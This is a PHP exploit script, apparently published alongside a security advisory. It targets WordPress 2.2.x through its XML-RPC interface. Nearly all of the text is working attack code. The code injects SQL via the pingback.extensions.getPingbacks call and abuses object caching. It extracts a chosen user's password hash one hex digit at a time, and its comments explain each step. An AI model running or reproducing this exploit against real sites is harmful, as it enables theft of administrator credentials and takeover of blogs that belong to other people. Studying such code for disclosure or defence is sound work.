Website : http://www.buayacorp.com/ Advisory: http://www.buayacorp.com/files/wordpress/wordpress-sql-injection-advisory.html Notes : - Exploit tested on WordPress 2.2.x, it may not work on previous (or newer) versions with the same attack vector. - Requires an XMLRPC client that support multicalls. - This code and time to retrieve the password can be dramatically reduced but its results won't always be successful (see pwnpress by Lance M. Havok) */ require_once( './class-IXR.php' ); @include_once( './class-snoopy.php' ); header('Content-Type: text/plain; charset=utf-8;'); error_reporting(0); set_time_limit(0); /* Required parameters for the exploit */ if (!empty($argv)) { list(, $blog, $cat_base, $user_ID, $table_prefix) = $argv; } else { $user_ID = $_REQUEST['user_ID']; $blog = $_REQUEST['blog']; $cat_base = $_REQUEST['cat_base']; $table_prefix = $_REQUEST['table_prefix']; } $user_ID = $user_ID ? $user_ID : 1; $table_prefix = $table_prefix ? $table_prefix : 'wp_'; $blog = rtrim($blog, '/') . '/'; $cat_base = trim($cat_base, '/'); $version = ''; if (class_exists('Snoopy')) { $snoopy = new Snoopy(); $snoopy->submit($blog.'/feed/?p=-1'); if ( preg_match('//', $snoopy->results, $match) ) { $version = "\nVersion\t: $match[1]"; } } echo "\nServer\t: $blog {$version}\nUserID\t: $user_ID\nPrefix\t: $table_prefix\n"; $client = new IXR_ClientMulticall( $blog . 'xmlrpc.php' ); $hash = ''; for ($i = 1; $i <= 32; $i++) { echo "\nTesting hash pos ($i)"; $client->calls = array(); /* SQL Injection is done on pingback.extensions.getPingbacks, its result is useless but thanks to WordPress object caching it'll store a fake post_ID (10000 + ascii_value(hashed_password[i])) */ $client->addCall('pingback.extensions.getPingbacks', "{$blog}{$cat_base}/&post_type=%27) UNION ALL SELECT 10000%2Bord(substring(user_pass,$i,1)),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 FROM {$table_prefix}users WHERE ID=$user_ID%2F*"); /* Try to find the cached post_ID (10000 + ascii_value(hex_digit)). Notes: - Use pingback.ping because it calls get_post and not wp_get_single_post, the later has a bug -- it returns a non empty object/array even if the post does not exists. - pingback.ping also calls url_to_postid, but to avoid cache regeneration set explicitly post_ID. */ for ($j = 0; $j < 16; $j++) { $client->addCall('pingback.ping', ':', "$blog?p=" . ( 10000 + ord(dechex($j)) ) ); } $client->query(); $response = $client->getResponse(); if ( !is_array($response) ) { die("\nExploit failed"); } array_shift($response); /* The response of the first call is useless */ $j = 0; $found = false; foreach ($response as $v) { if (empty($v['faultCode']) || '16' == $v['faultCode']) { $hash .= dechex($j); $found = true; echo "\t--> found = " . dechex($j); break; } $j++; } if ( !$found ) die("\nExploit failed"); } echo "\n\nHash found: " . $hash . "\n"; ?>